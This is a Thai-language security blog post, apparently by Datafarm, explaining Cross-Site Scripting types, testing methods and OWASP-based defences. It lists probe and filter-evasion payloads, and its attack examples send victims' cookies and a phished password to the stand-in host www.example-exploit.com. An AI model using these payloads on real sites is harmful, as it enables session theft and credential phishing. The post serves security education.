Cross-Site Scripting (XSS)

Datafarm
3 min readMay 17, 2023

ในปัจจุบัน Web Application นิยมใช้กันอย่างแพร่หลาย ซึ่งหลายธุรกิจต่างก็ใช้ Web Application เป็นแพลตฟอร์มหลัก ทำให้มีโอกาสที่จะเกิดช่องโหว่ได้หลากหลายประเภท ในครั้งนี้ผมจะพูดถึงช่องโหว่ Cross-Site Scripting (XSS) ซึ่งเป็นการโจมตีอีกหนึ่งประเภทที่สามารถสร้างผลกระทบให้กับผู้ใช้งานระบบได้ไม่น้อยเลยที่เดียว

โดย Cross-Site Scripting เป็นการโจมตีทางฝั่งผู้ใช้งานระบบ จะจัดอยู่ในช่องโหว่หมวด A3:2021-Injection ตามมาตรฐาน OWASP Top 10 ปี 2021 การโจมตี Cross-Site Scripting นั้นเป็นการแทรก JavaScript ที่เป็นอันตรายเข้าไปในเว็บไซต์ที่ผู้ถูกโจมตีเชื่อถือโดย JavaScript จะทำงานบนเบราว์เซอร์ของผู้ถูกโจมตี หลังจากนั้นหากผู้ถูกโจมตีกด Link หรือทำ Action ใด ๆ ตามเงื่อนไขที่ผู้โจมตีกำหนดไว้ JavaScript ที่เป็นอันตรายนั้น ๆ ก็จะทำงานตามที่ผู้โจมตีต้องการ

ประเภทของ Cross-Site Scripting

เรามาดูประเภทของ Cross-Site Scripting คร่าว ๆ กันครับ เพราะเพื่อน ๆ ผู้อ่านคงพอทราบกันดีอยู่แล้ว (ผมขอฝาก Link เพิ่มเติม เผื่อเพื่อน ๆ จะเข้าไปอ่านเพิ่มเติมกันได้ครับ ที่ Link นี้เลย https://owasp.org/www-community/attacks/xss/ และ https://owasp.org/www-community/Types_of_Cross-Site_Scripting )

  • Reflected Cross-Site Scripting คือ JavaScript ที่เป็นอันตรายที่ทำงานบนเบราว์เซอร์ของผู้ถูกโจมตีจะทำงานเพียงครั้งเดียวตามเงื่อนไขของผู้โจมตีกำหนด.
  • Stored Cross-Site Scripting คือ JavaScript ที่เป็นอันตรายซึ่งจะถูกบันทึกลงฐานข้อมูลของระบบทำให้ JavaScript ที่เป็นอันตรายนั้นสามารถทำงานได้ตลอดเวลาที่ JavaScript นั้นถูกเรียกใช้งาน
  • DOM Cross-Site Scripting คือ JavaScript ที่เป็นอันตราย ซึ่งทำงานบนเบราว์เซอร์ของผู้ถูกโจมตีเท่านั้น

โดยคำสั่ง JavaScript ที่เป็นอันตรายนั้นสามารถเข้าถึงคุกกี้ โทเค็น เซสชันหรือข้อมูลที่ละเอียดอ่อนอื่น ๆ ที่เบราว์เซอร์เก็บไว้ภายใต้เว็บไซต์ที่ผู้ถูกโจมตีเชื่อถือ มาถึงตรงนี้ผมจะลองยกตัวอย่าง JavaScript ที่เป็นอันตรายโดยใช้คำสั่ง alert ค่าต่าง ๆ ออกมา ซึ่งเพื่อน ๆ สามารถเข้าไปทดสอบใช้งาน JavaScript ได้ผ่านเว็บไซต์ w3schools กันได้นะครับ Link : https://www.w3schools.com/js/default.asp

<script>alert(1);</script>

คือ JavaScript ที่ผู้โจมตีใช้ระบุว่าจุด parameter นั้นเป็นช่องโหว่ Cross-Site Scripting หรือไม่

<script>alert(document.domain);</script>

คือ JavaScript ที่ผู้โจมตีใช้ระบุ Domain Name ของระบบที่พบช่องโหว่

<script>alert(document.cookie);</script>

คือ JavaScript ที่ผู้โจมตีใช้ระบุ Cookie ของผู้ถูกโจมตีซึ่งถูกใช้งานในระบบที่พบช่องโหว่

<script>alert(localStorage.getItem(‘Key’));</script> คือ

JavaScript ที่ผู้โจมตีใช้ระบุ Key และ Value ของผู้ถูกโจมตีที่อยู่ใน localStorage ซึ่งถูกใช้งานในระบบที่พบช่องโหว่

<script>let person = prompt(“Session Destroyed!!! Enter Your Password.”,””);</script>

คือ JavaScript ที่ผู้โจมตีใช้ในการหลอกล่อให้ผู้ถูกโจมตีกรอกข้อมูลตามที่ต้องการ

<script src=”http:// www.example-exploit.com"></script>

คือ JavaScript ที่ผู้โจมตีใช้บังคับให้ผู้ถูกโจมตีเข้าถึงข้อมูลบางอย่างตามที่ผู้โจมตีต้องการ

การหลบหลีกการตรวจจับ Cross-Site Scripting

บางกรณีผู้โจมตีอาจใช้ HTML Tag หรือ Payload อื่น ๆ ในการโจมตีเพื่อทำการหลบหลีกการถูกตรวจจับ ผมจะขออนุญาตยกตัวอย่างเพียงบางส่วนซึ่งเพื่อนๆ สามารถศึกษาเพิ่มเติมได้ตาม Link นี้เลยครับ https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

<img src=xx onerror=”alert(1)”>

คือ การใช้งาน HTML Tag <img> ในการเรียกใช้งาน JavaScript

<svg onload=”alert(1)”></svg>

คือ การใช้งาน HTML Tag <svg> ในการเรียกใช้งาน JavaScript

<div onmouseover=”alert(1)”>Click</div>

คือ การใช้งาน HTML Tag <div> ในการเรียกใช้งาน JavaScript

<BODY ONLOAD=alert(1)>

คือ การใช้งาน HTML Tag <body> ในการเรียกใช้งาน JavaScript

<SCRIPT>alert(1);<SCRIPT>

คือ การใช้งานตัวอักษรพิมพ์ใหญ่ใน Payload

<ScRiPt>alert(1);<scRIpt>

คือ การใช้งานตัวอักษรพิมพ์ใหญ่สลับกับตัวอักษรพิมพ์เล็กใน Payload

<IMG “””><SCRIPT>alert(1);</SCRIPT>”\>

คือ การเขียนรูปแบบ HTML Tag <img> ไม่ถูก Format เพื่อใช้งาน

<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

คือ การ Encode JavaScript alert “xxs”.

วิธีการค้นหาช่องโหว่ Cross-Site Scripting

  • ทดสอบ Parameter ทุกจุดที่ระบบมีการรับค่า Input เข้ามา โดยภายใน Input String ข้อความค้นหา Input Text area ต่าง ๆ หรือ Parameter บน HTTP Request ทั้ง GET และ POST Method
  • ทดสอบส่งค่าตัวเลขและตัวอักษรแบบสุ่มสำหรับ Parameter แต่ละจุดโดยพิจารณาว่าค่าดังกล่าวถู กนำไปประมวลผลและส่งกลับมาแสดงหรือไม่เพราะค่า Parameter ดังกล่าวควรได้รับการออกแบบมาเพื่อให้ผ่านการตรวจสอบ Input ส่วนใหญ่ได้
  • กำหนดข้อความที่ง่ายใน HTTP request เพื่อตรวจพบได้ง่ายใน HTTP response สำหรับผู้ทดสอบระบบแล้วเวลาที่จะค้นหาช่องโหว่มีจำกัดจุดที่มีช่องโหว่ Cross-Site Scripting อาจต้องเขียน JavaScript ให้เข้าบริบทนั้น ๆ JavaScript ถึงจะทำงานได้
  • เพื่อน ๆ ยังสามารถใช้เครื่องมืออย่างเช่น Burp Repeater, Burp Intruder หรือ Burp Scanner ในการค้นหาช่องโหว่ Cross-Site Scripting ได้
  • ทดสอบ Payload ทางเลือกอื่นๆ ซึ่งเว็บไซต์หรือระบบนั้นๆ อาจมีระบบป้องกันเช่น Web Application Firewall (WAF)
  • วิธีที่ง่ายอย่างหนึ่งคือทดสอบว่าสามารถใช้ JavaScript ได้จริงโดยเพื่อนสามารถ
alert(document.domain)

เพื่อแสดง Domain Name ของระบบที่พบช่องโหว่

สุดท้ายถ้าเพื่อน ๆ สามารถค้นหา Payload หรือพบจุดที่เป็นช่องโหว่ Cross-Site Scripting ในหัวข้อต่อไปผมจะยกตัวอย่างการโจมตีด้วย Cross-Site Scripting

ตัวอย่างการโจมตี Cross-Site Scripting

ผมจะลองยกตัวอย่างการใช้ JavaScript ในการโจมตีซึ่งเพื่อน ๆ สามารถเข้าไปศึกษาและทำการเล่น Lab Cross-Site Scripting ได้ที่ Link: https://portswigger.net/web-security/all-labs

  • ตัวอย่างแรก เป็นการใช้คำสั่ง JavaScript “fetch” ในการส่งข้อมูล Cookie ของผู้ถูกโจมตีไปยังที่ที่ผู้โจมตีต้องการ
<script>
fetch(‘ http:// www.example-exploit.com ‘, {
method: ‘POST’,
mode:‘no-cors’,
body:document.cookie
});
</script>
  • ตัวอย่างที่สอง เป็นการใช้คำสั่ง JavaScript “prompt” ในการหลอกล่อให้ผู้ถูกโจมตีกรอกข้อมูล Password แล้วทำการส่งข้อมูลนั้นไปที่ที่ผู้โจมตีต้องการ
<script>
let person = prompt(“Session Destroyed!!! Enter Your Password.”,””);
window.open(‘http://www.example-exploit.com/'.concat(person));
</script>

การป้องกัน Cross-Site Scripting

  1. ใช้งานฟังก์ชันด้านความปลอดภัยที่เฟรมเวิร์กมีให้จะช่วยลดช่องโหว่ Cross-Site Scripting ลงได้
  2. ใช้งานฟังก์ชัน HTML, Attribute, JavaScript, CSS และ URL Encoding สำหรับทุกการแสดงผลของข้อมูลที่มีการส่งข้อมูลกลับไปหาผู้ใช้งานระบบ เพื่อน ๆ สามารถอ่านรายละเอียดเพิ่มเติมได้ที่ Link : https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#xss-prevention-rulesg
  3. กรองข้อมูลจากผู้ใช้งานระบบในรูปแบบของ White-listing ทางฝั่ง Server ซึ่งจะยอมรับข้อมูลได้แค่เฉพาะตามที่มีการกำหนดไว้ เช่น ข้อมูลการเงิน อายุหรือเบอร์โทร ควรจะอนุญาตให้ใส่ได้เฉพาะตัวเลขเพียงอย่างเดียว ข้อมูลที่อยู่ควรจะอนุญาตให้ใส่ได้เฉพาะตัวอักษรเพียงอย่างเดียว หรือเพื่อน ๆ สามารถอ่านรายละเอียดเพิ่มเติมได้ที่ Link: https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Implementing_input_validation

สำหรับครั้งนี้ผมได้พาเพื่อน ๆ มารู้จักช่องโหว่ Cross-Site Scripting ซึ่งเป็นการใช้งาน JavaScript ในการโจมตีระบบและยังมีอีกหลากหลาย JavaScript ที่ใช้สร้างความเสียหายให้แก่ผู้ใช้งานระบบได้ และสุดท้ายนี้ผมขอขอบคุณเพื่อน ๆ ที่ได้เข้ามาอ่านบทความนี้ ไว้เจอกันใหม่บทความหน้า สวัสดีครับบบ

--

--

No responses yet